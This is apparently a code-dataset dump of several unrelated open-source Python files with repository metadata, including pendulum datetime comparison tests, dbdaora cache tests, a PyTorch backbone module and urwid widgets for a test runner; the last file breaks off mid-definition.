c7f0ef5810962551658faf34d1da1237450363e9

275

py

Python

boa3_test/test_sc/interop_test/blockchain/GetTransactionFromBlockUInt256.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

25

2020-07-22T19:37:43.000Z

2022-03-08T03:23:55.000Z

boa3_test/test_sc/interop_test/blockchain/GetTransactionFromBlockUInt256.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

419

2020-04-23T17:48:14.000Z

2022-03-31T13:17:45.000Z

boa3_test/test_sc/interop_test/blockchain/GetTransactionFromBlockUInt256.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

15

2020-05-21T21:54:24.000Z

2021-11-18T06:17:24.000Z

from boa3.builtin import public from boa3.builtin.interop.blockchain import Transaction, get_transaction_from_block from boa3.builtin.type import UInt256 @public def main(hash_: UInt256, tx_index: int) -> Transaction: return get_transaction_from_block(hash_, tx_index)

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null

0

1

0

1

0

null

0

1

0

6

40423128534b98189b764fa4b5faf54da78b8c46

10,756

py

Python

tests/datetime/test_comparison.py

aleksey-kutepov/pendulum

47ee3f51b0e27ec06a91a2f37d44e54dc31f888e

[ "MIT" ]

null

tests/datetime/test_comparison.py

aleksey-kutepov/pendulum

47ee3f51b0e27ec06a91a2f37d44e54dc31f888e

[ "MIT" ]

null

tests/datetime/test_comparison.py

aleksey-kutepov/pendulum

47ee3f51b0e27ec06a91a2f37d44e54dc31f888e

[ "MIT" ]

null

import pytz from datetime import datetime import pendulum from ..conftest import assert_datetime def test_equal_to_true(): d1 = pendulum.datetime(2000, 1, 1, 1, 2, 3) d2 = pendulum.datetime(2000, 1, 1, 1, 2, 3) d3 = datetime(2000, 1, 1, 1, 2, 3, tzinfo= pendulum.UTC) assert d2 == d1 assert d3 == d1 def test_equal_to_false(): d1 = pendulum.datetime(2000, 1, 1, 1, 2, 3) d2 = pendulum.datetime(2000, 1, 2, 1, 2, 3) d3 = datetime(2000, 1, 2, 1, 2, 3, tzinfo= pendulum.UTC) assert d2 != d1 assert d3 != d1 def test_equal_with_timezone_true(): d1 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d2 = pendulum.datetime(2000, 1, 1, 9, 0, 0, tz='America/Vancouver') d3 = datetime(2000, 1, 1, 12, 0, 0, tzinfo= pendulum.timezone('America/Toronto')) assert d2 == d1 assert d3 == d1 def test_equal_with_timezone_false(): d1 = pendulum.datetime(2000, 1, 1, tz='America/Toronto') d2 = pendulum.datetime(2000, 1, 1, tz='America/Vancouver') d3 = datetime(2000, 1, 1, tzinfo= pendulum.timezone('America/Toronto')) assert d2 != d1 assert d3 == d1 def test_not_equal_to_true(): d1 = pendulum.datetime(2000, 1, 1, 1, 2, 3) d2 = pendulum.datetime(2000, 1, 2, 1, 2, 3) d3 = datetime(2000, 1, 2, 1, 2, 3, tzinfo= pendulum.UTC) assert d2 != d1 assert d3 != d1 def test_not_equal_to_false(): d1 = pendulum.datetime(2000, 1, 1, 1, 2, 3) d2 = pendulum.datetime(2000, 1, 1, 1, 2, 3) d3 = datetime(2000, 1, 1, 1, 2, 3, tzinfo= pendulum.UTC) assert d2 == d1 assert d3 == d1 def test_not_equal_with_timezone_true(): d1 = pendulum.datetime(2000, 1, 1, tz='America/Toronto') d2 = pendulum.datetime(2000, 1, 1, tz='America/Vancouver') d3 = datetime(2000, 1, 1, tzinfo= pendulum.timezone('America/Toronto')) assert d2 != d1 assert d3 == d1 def test_not_equal_to_none(): d1 = pendulum.datetime(2000, 1, 1, 1, 2, 3) assert d1 != None def test_greater_than_true(): d1 = pendulum.datetime(2000, 1, 1) d2 = pendulum.datetime(1999, 12, 31) d3 = datetime(1999, 12, 31, tzinfo= pendulum.UTC) assert d1 > d2 assert d1 > d3 def test_greater_than_false(): d1 = pendulum.datetime(2000, 1, 1) d2 = pendulum.datetime(2000, 1, 2) d3 = datetime(2000, 1, 2, tzinfo= pendulum.UTC) assert not d1 > d2 assert not d1 > d3 def test_greater_than_with_timezone_true(): d1 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d2 = pendulum.datetime(2000, 1, 1, 8, 59, 59, tz='America/Vancouver') d3 = pytz.timezone('America/Vancouver').localize(datetime(2000, 1, 1, 8, 59, 59)) assert d1 > d2 assert d1 > d3 def test_greater_than_with_timezone_false(): d1 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d2 = pendulum.datetime(2000, 1, 1, 9, 0, 1, tz='America/Vancouver') d3 = pytz.timezone('America/Vancouver').localize(datetime(2000, 1, 1, 9, 0, 1)) assert not d1 > d2 assert not d1 > d3 def test_greater_than_or_equal_true(): d1 = pendulum.datetime(2000, 1, 1) d2 = pendulum.datetime(1999, 12, 31) d3 = datetime(1999, 12, 31, tzinfo= pendulum.UTC) assert d1 >= d2 assert d1 >= d3 def test_greater_than_or_equal_true_equal(): d1 = pendulum.datetime(2000, 1, 1) d2 = pendulum.datetime(2000, 1, 1) d3 = datetime(2000, 1, 1, tzinfo= pendulum.UTC) assert d1 >= d2 assert d1 >= d3 def test_greater_than_or_equal_false(): d1 = pendulum.datetime(2000, 1, 1) d2 = pendulum.datetime(2000, 1, 2) d3 = datetime(2000, 1, 2, tzinfo= pendulum.UTC) assert not d1 >= d2 assert not d1 >= d3 def test_greater_than_or_equal_with_timezone_true(): d1 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d2 = pendulum.datetime(2000, 1, 1, 8, 59, 59, tz='America/Vancouver') d3 = pytz.timezone('America/Vancouver').localize(datetime(2000, 1, 1, 8, 59, 59)) assert d1 >= d2 assert d1 >= d3 def test_greater_than_or_equal_with_timezone_false(): d1 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d2 = pendulum.datetime(2000, 1, 1, 9, 0, 1, tz='America/Vancouver') d3 = pytz.timezone('America/Vancouver').localize(datetime(2000, 1, 1, 9, 0, 1)) assert not d1 >= d2 assert not d1 >= d3 def test_less_than_true(): d1 = pendulum.datetime(2000, 1, 1) d2 = pendulum.datetime(2000, 1, 2) d3 = datetime(2000, 1, 2, tzinfo=pendulum.UTC) assert d1 < d2 assert d1 < d3 def test_less_than_false(): d1 = pendulum.datetime(2000, 1, 2) d2 = pendulum.datetime(2000, 1, 1) d3 = datetime(2000, 1, 1, tzinfo=pendulum.UTC) assert not d1 < d2 assert not d1 < d3 def test_less_than_with_timezone_true(): d1 = pendulum.datetime(2000, 1, 1, 8, 59, 59, tz='America/Vancouver') d2 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d3 = pytz.timezone('America/Toronto').localize(datetime(2000, 1, 1, 12, 0, 0)) assert d1 < d2 assert d1 < d3 def test_less_than_with_timezone_false(): d1 = pendulum.datetime(2000, 1, 1, 9, 0, 1, tz='America/Vancouver') d2 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d3 = pytz.timezone('America/Toronto').localize(datetime(2000, 1, 1, 12, 0, 0)) assert not d1 < d2 assert not d1 < d3 def test_less_than_or_equal_true(): d1 = pendulum.datetime(2000, 1, 1) d2 = pendulum.datetime(2000, 1, 2) d3 = datetime(2000, 1, 2, tzinfo=pendulum.UTC) assert d1 <= d2 assert d1 <= d3 def test_less_than_or_equal_true_equal(): d1 = pendulum.datetime(2000, 1, 1) d2 = pendulum.datetime(2000, 1, 1) d3 = datetime(2000, 1, 1, tzinfo=pendulum.UTC) assert d1 <= d2 assert d1 <= d3 def test_less_than_or_equal_false(): d1 = pendulum.datetime(2000, 1, 2) d2 = pendulum.datetime(2000, 1, 1) d3 = datetime(2000, 1, 1, tzinfo=pendulum.UTC) assert not d1 <= d2 assert not d1 <= d3 def test_less_than_or_equal_with_timezone_true(): d1 = pendulum.datetime(2000, 1, 1, 8, 59, 59, tz='America/Vancouver') d2 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d3 = pytz.timezone('America/Toronto').localize(datetime(2000, 1, 1, 12, 0, 0)) assert d1 <= d2 assert d1 <= d3 def test_less_than_or_equal_with_timezone_false(): d1 = pendulum.datetime(2000, 1, 1, 9, 0, 1, tz='America/Vancouver') d2 = pendulum.datetime(2000, 1, 1, 12, 0, 0, tz='America/Toronto') d3 = pytz.timezone('America/Toronto').localize(datetime(2000, 1, 1, 12, 0, 0)) assert not d1 <= d2 assert not d1 <= d3 def test_is_birthday(): with pendulum.test(pendulum.now()): d = pendulum.now() a_birthday = d.subtract(years=1) assert a_birthday.is_birthday() not_a_birthday = d.subtract(days=1) assert not not_a_birthday.is_birthday() also_not_a_birthday = d.add(days=2) assert not also_not_a_birthday.is_birthday() d1 = pendulum.datetime(1987, 4, 23) d2 = pendulum.datetime(2014, 9, 26) d3 = pendulum.datetime(2014, 4, 23) assert not d2.is_birthday(d1) assert d3.is_birthday(d1) def test_closest(): instance = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt1 = pendulum.datetime(2015, 5, 28, 11, 0, 0) dt2 = pendulum.datetime(2015, 5, 28, 14, 0, 0) closest = instance.closest(dt1, dt2) assert closest == dt1 closest = instance.closest(dt2, dt1) assert closest == dt1 dts = [pendulum.datetime(2015, 5, 28, 16, 0, 0) + pendulum.duration( hours=x) for x in range(4)] closest = instance.closest(*dts) assert closest == dts[0] closest = instance.closest(*(dts[::-1])) assert closest == dts[0] def test_closest_with_datetime(): instance = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt1 = datetime(2015, 5, 28, 11, 0, 0) dt2 = datetime(2015, 5, 28, 14, 0, 0) closest = instance.closest(dt1, dt2) assert_datetime(closest, 2015, 5, 28, 11, 0, 0) dts = [pendulum.datetime(2015, 5, 28, 16, 0, 0) + pendulum.duration( hours=x) for x in range(4)] closest = instance.closest(dt1, dt2, *dts) assert_datetime(closest, 2015, 5, 28, 11, 0, 0) def test_closest_with_equals(): instance = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt1 = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt2 = pendulum.datetime(2015, 5, 28, 14, 0, 0) closest = instance.closest(dt1, dt2) assert closest == dt1 def test_farthest(): instance = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt1 = pendulum.datetime(2015, 5, 28, 11, 0, 0) dt2 = pendulum.datetime(2015, 5, 28, 14, 0, 0) farthest = instance.farthest(dt1, dt2) assert farthest == dt2 farthest = instance.farthest(dt2, dt1) assert farthest == dt2 dts = [pendulum.datetime(2015, 5, 28, 16, 0, 0) + pendulum.duration( hours=x) for x in range(4)] farthest = instance.farthest(*dts) assert farthest == dts[-1] farthest = instance.farthest(*(dts[::-1])) assert farthest == dts[-1] f = pendulum.datetime(2010, 1, 1, 0, 0, 0) assert f == instance.farthest(f, *(dts)) def test_farthest_with_datetime(): instance = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt1 = datetime(2015, 5, 28, 11, 0, 0, tzinfo= pendulum.UTC) dt2 = datetime(2015, 5, 28, 14, 0, 0, tzinfo= pendulum.UTC) farthest = instance.farthest(dt1, dt2) assert_datetime(farthest, 2015, 5, 28, 14, 0, 0) dts = [pendulum.datetime(2015, 5, 28, 16, 0, 0) + pendulum.duration( hours=x) for x in range(4)] farthest = instance.farthest(dt1, dt2, *dts) assert_datetime(farthest, 2015, 5, 28, 19, 0, 0) def test_farthest_with_equals(): instance = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt1 = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt2 = pendulum.datetime(2015, 5, 28, 14, 0, 0) farthest = instance.farthest(dt1, dt2) assert farthest == dt2 dts = [pendulum.datetime(2015, 5, 28, 16, 0, 0) + pendulum.duration(hours=x) for x in range(4)] farthest = instance.farthest(dt1, dt2, *dts) assert farthest == dts[-1] def test_is_same_day(): dt1 = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt2 = pendulum.datetime(2015, 5, 29, 12, 0, 0) dt3 = pendulum.datetime(2015, 5, 28, 12, 0, 0) dt4 = datetime(2015, 5, 28, 12, 0, 0, tzinfo=pendulum.UTC) dt5 = datetime(2015, 5, 29, 12, 0, 0, tzinfo=pendulum.UTC) assert not dt1.is_same_day(dt2) assert dt1.is_same_day(dt3) assert dt1.is_same_day(dt4) assert not dt1.is_same_day(dt5) def test_comparison_to_unsupported(): dt1 = pendulum.now() assert dt1 != 'test' assert dt1 not in ['test']

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py

Python

dbdaora/hash/_tests/mongodb/test_integration_service_hash_aioredis_mongodb_get_many.py

dutradda/sqldataclass

5c87a3818e9d736bbf5e1438edc5929a2f5acd3f

[ "MIT" ]

21

2019-10-14T14:33:33.000Z

2022-02-11T04:43:07.000Z

dbdaora/hash/_tests/mongodb/test_integration_service_hash_aioredis_mongodb_get_many.py

dutradda/sqldataclass

5c87a3818e9d736bbf5e1438edc5929a2f5acd3f

[ "MIT" ]

null

dbdaora/hash/_tests/mongodb/test_integration_service_hash_aioredis_mongodb_get_many.py

dutradda/sqldataclass

5c87a3818e9d736bbf5e1438edc5929a2f5acd3f

[ "MIT" ]

1

2019-09-29T23:51:44.000Z

import itertools import asynctest import pytest from aioredis import RedisError from jsondaora import dataclasses @pytest.mark.asyncio async def test_should_get_many( fake_service, serialized_fake_entity, fake_entity, serialized_fake_entity2, fake_entity2, ): await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake' ) await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake2' ) await fake_service.repository.memory_data_source.hmset( 'fake:other_fake:fake', *itertools.chain(*serialized_fake_entity.items()), ) await fake_service.repository.memory_data_source.hmset( 'fake:other_fake:fake2', *itertools.chain(*serialized_fake_entity2.items()), ) entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', other_id='other_fake' ) ] assert entities == [fake_entity, fake_entity2] @pytest.mark.asyncio async def test_should_get_many_from_cache( fake_service, serialized_fake_entity, fake_entity, fake_entity2 ): fake_service.repository.memory_data_source.hgetall = ( asynctest.CoroutineMock() ) fake_service.cache['fakeother_idother_fake'] = fake_entity fake_service.cache['fake2other_idother_fake'] = fake_entity2 entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', other_id='other_fake' ) ] assert entities == [fake_entity, fake_entity2] assert not fake_service.repository.memory_data_source.hgetall.called @pytest.mark.asyncio async def test_should_get_many_from_fallback_when_not_found_on_memory( fake_service, serialized_fake_entity, fake_entity, fake_entity2 ): await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake' ) await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake2' ) await fake_service.repository.memory_data_source.delete( 'fake:not-found:other_fake:fake' ) await fake_service.repository.memory_data_source.delete( 'fake:not-found:other_fake:fake2' ) await fake_service.repository.fallback_data_source.put( fake_service.repository.fallback_data_source.make_key( 'fake', 'other_fake:fake' ), dataclasses.asdict(fake_entity), ) await fake_service.repository.fallback_data_source.put( fake_service.repository.fallback_data_source.make_key( 'fake', 'other_fake:fake2' ), dataclasses.asdict(fake_entity2), ) entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', other_id='other_fake' ) ] assert entities == [fake_entity, fake_entity2] assert fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake' ) assert fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake2' ) @pytest.mark.asyncio async def test_should_get_many_from_fallback_when_not_found_on_memory_with_fields( fake_service, serialized_fake_entity, fake_entity, fake_entity2 ): await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake' ) await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake2' ) await fake_service.repository.memory_data_source.delete( 'fake:not-found:other_fake:fake' ) await fake_service.repository.memory_data_source.delete( 'fake:not-found:other_fake:fake2' ) await fake_service.repository.fallback_data_source.put( fake_service.repository.fallback_data_source.make_key( 'fake', 'other_fake:fake' ), dataclasses.asdict(fake_entity), ) await fake_service.repository.fallback_data_source.put( fake_service.repository.fallback_data_source.make_key( 'fake', 'other_fake:fake2' ), dataclasses.asdict(fake_entity2), ) fake_entity.number = None fake_entity.boolean = None fake_entity2.number = None fake_entity2.boolean = None entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', other_id='other_fake', fields=['id', 'other_id', 'integer', 'inner_entities'], ) ] assert entities == [fake_entity, fake_entity2] assert fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake' ) assert fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake2' ) @pytest.mark.asyncio async def test_should_get_many_from_fallback_after_open_circuit_breaker( fake_service, fake_entity, fake_entity2, mocker ): fake_service.repository.memory_data_source.hgetall = asynctest.CoroutineMock( side_effect=RedisError ) key = fake_service.repository.fallback_data_source.make_key( 'fake', 'other_fake', 'fake' ) await fake_service.repository.fallback_data_source.put( key, dataclasses.asdict(fake_entity) ) key = fake_service.repository.fallback_data_source.make_key( 'fake', 'other_fake', 'fake2' ) await fake_service.repository.fallback_data_source.put( key, dataclasses.asdict(fake_entity2) ) entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', other_id='other_fake' ) ] assert entities == [fake_entity, fake_entity2] assert fake_service.logger.warning.call_count == 2 @pytest.mark.asyncio async def test_should_get_many_with_fields( fake_service, serialized_fake_entity, fake_entity, serialized_fake_entity2, fake_entity2, ): await fake_service.repository.memory_data_source.hmset( 'fake:other_fake:fake', *itertools.chain(*serialized_fake_entity.items()), ) await fake_service.repository.memory_data_source.hmset( 'fake:other_fake:fake2', *itertools.chain(*serialized_fake_entity2.items()), ) entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', fields=['id', 'other_id', 'integer', 'inner_entities'], other_id='other_fake', ) ] fake_entity.number = None fake_entity.boolean = None fake_entity2.number = None fake_entity2.boolean = None assert entities == [fake_entity, fake_entity2] @pytest.mark.asyncio async def test_should_get_many_from_cache_with_fields( fake_service, serialized_fake_entity, fake_entity, fake_entity2 ): fake_service.repository.memory_data_source.hgetall = ( asynctest.CoroutineMock() ) fake_service.cache[ 'fakeidother_idintegerinner_entitiesother_idother_fake' ] = fake_entity fake_service.cache[ 'fake2idother_idintegerinner_entitiesother_idother_fake' ] = fake_entity2 entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', fields=['id', 'other_id', 'integer', 'inner_entities'], other_id='other_fake', ) ] fake_entity.number = None fake_entity.boolean = None fake_entity2.number = None fake_entity2.boolean = None assert entities == [fake_entity, fake_entity2] assert not fake_service.repository.memory_data_source.hgetall.called @pytest.mark.asyncio async def test_should_get_many_from_fallback_after_open_circuit_breaker_with_fields( fake_service, fake_entity, fake_entity2, mocker ): fake_service.repository.memory_data_source.hmget = asynctest.CoroutineMock( side_effect=RedisError ) key = fake_service.repository.fallback_data_source.make_key('fake', 'fake') await fake_service.repository.fallback_data_source.put( key, dataclasses.asdict(fake_entity) ) key = fake_service.repository.fallback_data_source.make_key( 'fake', 'fake2' ) await fake_service.repository.fallback_data_source.put( key, dataclasses.asdict(fake_entity2) ) fake_entity.number = None fake_entity.boolean = None fake_entity2.number = None fake_entity2.boolean = None entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', fields=['id', 'other_id', 'integer', 'inner_entities'], other_id='other_fake', ) ] assert entities == [fake_entity, fake_entity2] assert fake_service.logger.warning.call_count == 2 @pytest.mark.asyncio async def test_should_get_many_from_cache_memory_and_fallback( fake_service, fake_entity, fake_entity2, fake_entity3 ): await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake' ) await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake2' ) await fake_service.repository.memory_data_source.delete( 'fake:other_fake:fake3' ) await fake_service.add(fake_entity) await fake_service.add(fake_entity2) await fake_service.add(fake_entity3) assert not await fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake' ) assert not await fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake2' ) assert not await fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake3' ) entities = [ e async for e in fake_service.get_many('fake', other_id='other_fake') ] assert entities == [fake_entity] entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', other_id='other_fake' ) ] assert entities == [fake_entity, fake_entity2] entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', 'fake3', other_id='other_fake' ) ] assert entities == [fake_entity, fake_entity2, fake_entity3] assert await fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake' ) assert await fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake2' ) assert await fake_service.repository.memory_data_source.exists( 'fake:other_fake:fake3' ) @pytest.mark.asyncio async def test_should_get_many_from_cache_when_not_found_some_entities( fake_service, fake_entity ): await fake_service.delete('fake', other_id='other_fake') await fake_service.delete('fake2', other_id='other_fake') await fake_service.delete('fake3', other_id='other_fake') await fake_service.add(fake_entity) entities = [ e async for e in fake_service.get_many('fake', other_id='other_fake') ] assert entities == [fake_entity] entities = [ e async for e in fake_service.get_many( 'fake', 'fake2', 'fake3', other_id='other_fake' ) ] assert entities == [fake_entity] @pytest.mark.asyncio async def test_should_get_many_empty(fake_service): await fake_service.delete('fake', other_id='other_fake') await fake_service.delete('fake2', other_id='other_fake') await fake_service.delete('fake3', other_id='other_fake') assert [ e async for e in fake_service.get_many( 'fake', 'fake2', 'fake3', other_id='other_fake' ) ] == []

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null

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6

40b322299f9c1736928f3955c4f8268de303d171

140

py

Python

start_app/models.py

noobiept-other/init_django

a305e1b0b289bfa166638372163fd460fc30a938

[ "MIT" ]

null

start_app/models.py

noobiept-other/init_django

a305e1b0b289bfa166638372163fd460fc30a938

[ "MIT" ]

null

start_app/models.py

noobiept-other/init_django

a305e1b0b289bfa166638372163fd460fc30a938

[ "MIT" ]

null

from django.db import models from django.conf import settings from django.utils import timezone from django.core.urlresolvers import reverse

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6

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208

py

Python

lmnotify/__init__.py

alexrockt/lmnotify

e21feb615c13eda12534b3de884bf73ea15736b2

[ "MIT" ]

6

2017-02-17T18:49:52.000Z

2018-02-25T12:53:00.000Z

lmnotify/__init__.py

r-xela/lmnotify

e21feb615c13eda12534b3de884bf73ea15736b2

[ "MIT" ]

null

lmnotify/__init__.py

r-xela/lmnotify

e21feb615c13eda12534b3de884bf73ea15736b2

[ "MIT" ]

null

__all__ = [ "LaMetricManager", "SimpleFrame", "GoalFrame", "SpikeChart", "Sound", "Model" ] from .lmnotify import LaMetricManager from .models import SimpleFrame, GoalFrame, SpikeChart, Sound, Model

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1

0

null

0

1

0

6

908318735f9fe1030170605522c852bf4b3398a7

3,657

py

Python

models/backbone.py

Xpitfire/bpda

36e99cd8390b8a960ca42ffb83a85d15ab6ee9a0

[ "MIT" ]

4

2021-11-29T15:02:57.000Z

2022-03-31T07:25:50.000Z

models/backbone.py

Xpitfire/bpda

36e99cd8390b8a960ca42ffb83a85d15ab6ee9a0

[ "MIT" ]

null

models/backbone.py

Xpitfire/bpda

36e99cd8390b8a960ca42ffb83a85d15ab6ee9a0

[ "MIT" ]

null

import torch import torchvision.models as models def set_gradients_enabled(config, model): print('Enbable backbone gradients: ', config.backbone.trainable) for param in model.parameters(): param.requires_grad = config.backbone.trainable def register_domain_adaptation_features_extraction(config, model): print('Registered feature extraction hook') latent_features = {} def register_hook(): def hook(model, input, output): latent_features[config.backbone.feature_layer] = output if config.backbone.trainable else output.detach() return hook getattr(model, config.backbone.feature_layer).register_forward_hook(register_hook()) def features(x): if config.backbone.trainable: model(x) else: # don't compute gradients if not trainable with torch.no_grad(): model(x) return latent_features[config.backbone.feature_layer] return features def register_resnet_features_extraction(config, model): print('Registered feature extraction hook') latent_features = {} def register_hook(): def hook(model, input, output): latent_features[config.backbone.feature_layer] = output if config.backbone.trainable else output.detach() return hook getattr(model, config.backbone.feature_layer).register_forward_hook(register_hook()) def features(x): if config.backbone.trainable: model(x) else: # don't compute gradients if not trainable with torch.no_grad(): model(x) return latent_features[config.backbone.feature_layer] return features def register_alexnet_features_extraction(config, model): print('Registered feature extraction hook') latent_features = {} def register_hook(): def hook(model, input, output): latent_features[config.backbone.feature_layer] = output if config.backbone.trainable else output.detach() return hook getattr(model, config.backbone.feature_layer)[config.backbone.feature_layer_idx].register_forward_hook(register_hook()) def features(x): if config.backbone.trainable: model(x) else: # don't compute gradients if not trainable with torch.no_grad(): model(x) return latent_features[config.backbone.feature_layer] return features def get_backbone(config): model = None params = None num_features = None if config.backbone.model == "resnet18": print('Selected ResNet18 backbone') model = models.resnet18(pretrained=config.backbone.pretrained) if config.debug: print(model) model = model.to(config.device) params = model.parameters() num_features = list(getattr(model, config.backbone.feature_layer).parameters())[-1].shape[0] set_gradients_enabled(config, model) extractor = register_resnet_features_extraction(config, model) elif config.backbone.model == "alexnet": print('Selected AlexNet backbone') model = models.alexnet(pretrained=config.backbone.pretrained) if config.debug: print(model) model = model.to(config.device) params = model.parameters() num_features = list(getattr(model, config.backbone.feature_layer)[config.backbone.feature_layer_idx].parameters())[-1].shape[0] set_gradients_enabled(config, model) extractor = register_alexnet_features_extraction(config, model) else: raise NotImplementedError("Not Implemented!") return extractor, model, params, num_features

39.322581

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0.111794

0.138411

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0.794431

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0

0.003517

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3,657

92

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0

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0.101266

0

null

0

1

0

null

0

6

90930e2f14c267e3795fd938d11dc92d39b9c2dd

130

py

Python

cellcutter/alpha/ops/__init__.py

jiyuuchc/cellcutter

b5c7aac06b287407d3500e27289fa8cb0b248ef9

[ "MIT" ]

5

2021-05-19T05:38:38.000Z

2022-03-14T15:38:24.000Z

cellcutter/alpha/ops/__init__.py

jiyuuchc/cellcutter

b5c7aac06b287407d3500e27289fa8cb0b248ef9

[ "MIT" ]

null

cellcutter/alpha/ops/__init__.py

jiyuuchc/cellcutter

b5c7aac06b287407d3500e27289fa8cb0b248ef9

[ "MIT" ]

1

2022-03-25T04:34:19.000Z

from .boxes import * from .clustering import * from .common import * from .proposal_generator import * from .box_matcher import *

21.666667

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null

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0

1

0

1

0

6

90b48bc52c83e3b7d611f715c281aa01a356dc28

12,815

py

Python

balto/displayer/curses_widgets.py

Gnonpi/balto

18d51f0a6ba90bc2083b34518d1ced5c2e86b7a0

[ "MIT" ]

null

balto/displayer/curses_widgets.py

Gnonpi/balto

18d51f0a6ba90bc2083b34518d1ced5c2e86b7a0

[ "MIT" ]

null

balto/displayer/curses_widgets.py

Gnonpi/balto

18d51f0a6ba90bc2083b34518d1ced5c2e86b7a0

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Copyright 2018-2019 by Boris Feld from __future__ import print_function from contextlib import suppress import urwid from balto.suite import TestSuite STATUS = urwid.Text("") PROGRESS_BAR = urwid.ProgressBar("pg normal", "pg complete", 0, 1) FOOTER = urwid.Columns([STATUS, PROGRESS_BAR]) SELECTED_TEST = set() def set_selected_tests(tests): global SELECTED_TEST SELECTED_TEST = set(tests) def get_selected_tests(): global SELECTED_TEST return SELECTED_TEST PALETTE = [ ("body", "black", "light gray"), ("flagged", "black", "dark green", ("bold", "underline")), ("focus", "light gray", "dark blue", "standout"), ("focus Passing", "light green", "dark blue", "standout"), ("focus Failing", "light red", "dark blue", "standout"), ("flagged focus", "yellow", "dark cyan", ("bold", "standout", "underline")), ("head", "yellow", "black", "standout"), ("foot", "light gray", "black"), ("key", "light cyan", "black", "underline"), ("title", "white", "black", "bold"), ("dirmark", "black", "dark cyan", "bold"), ("flag", "dark gray", "light gray"), # Outcomes ("failed", "dark red", "light gray"), ("passed", "dark green", "light gray"), ("error", "dark red", "light gray"), ("skipped", "dark blue", "light gray"), ("not_run", "black", "light gray"), ("pg normal", "white", "black", "standout"), ("pg complete", "white", "dark blue"), ("pg smooth", "dark blue", "black"), ] def on_flagged(test_id, flagged): if flagged: SELECTED_TEST.add(test_id) else: with suppress(KeyError): SELECTED_TEST.remove(test_id) class SingleTestWidget(urwid.TreeWidget): def __init__(self, *args, **kwargs): self.selected_w = urwid.Text("[ ]") super().__init__(*args, **kwargs) # insert an extra AttrWrap for our own use self._w = urwid.AttrWrap(self._w, None) self.update_w() def selectable(self): return True def load_inner_widget(self): main_w = urwid.Text(self.get_display_text()) return urwid.Columns([("fixed", 3, self.selected_w), main_w], dividechars=1) def keypress(self, size, key): """allow subclasses to intercept keystrokes""" key = self.__super.keypress(size, key) if key: key = self.unhandled_keys(size, key) return key def unhandled_keys(self, size, key): """ Override this method to intercept keystrokes in subclasses. Default behavior: Toggle flagged on space, ignore other keys. """ if key == " ": self.get_node().toggle_flag() else: return key def update_w(self): """Update the attributes of self.widget based on self.flagged. """ suite = self.get_node().get_value() test = suite[self.get_node()._key] outcome = test.get("outcome") self._w.focus_attr = "focus %s" % outcome self._w.attr = outcome if self.get_node().flagged: self.selected_w.set_text("[x]") else: self.selected_w.set_text("[ ]") def get_display_text(self): return self.get_node().get_key() class SingleTestNode(urwid.TreeNode): def __init__(self, *args, flagged=False, test_suite=None, **kwargs): super().__init__(*args, **kwargs) self.flagged = flagged self.test_suite = test_suite self.test_id = (self.test_suite, self._key) def toggle_flag(self): self.set_flag(not self.flagged) def set_flag(self, flag): self.flagged = flag self.get_widget().update_w() on_flagged(self.test_id, flag) self.get_parent().check_flag() def load_widget(self): return SingleTestWidget(self) def check_flag(self): if self.test_id in SELECTED_TEST: self.flagged = True else: self.flagged = False def refresh(self): self.check_flag() self.get_widget().update_w() class TestFileWidget(urwid.TreeWidget): unexpanded_icon = urwid.SelectableIcon("▹", 0) expanded_icon = urwid.SelectableIcon("▿", 0) def __init__(self, *args, **kwargs): self.selected_w = urwid.Text("[ ]") super().__init__(*args, **kwargs) # insert an extra AttrWrap for our own use self._w = urwid.AttrWrap(self._w, None) self._w.attr = "body" self._w.focus_attr = "focus" self.update_w() self.expanded = True self.update_expanded_icon() def load_inner_widget(self): main_w = urwid.Text(self.get_display_text()) return urwid.Columns([("fixed", 3, self.selected_w), main_w], dividechars=1) def get_display_text(self): return self.get_node().get_key() def 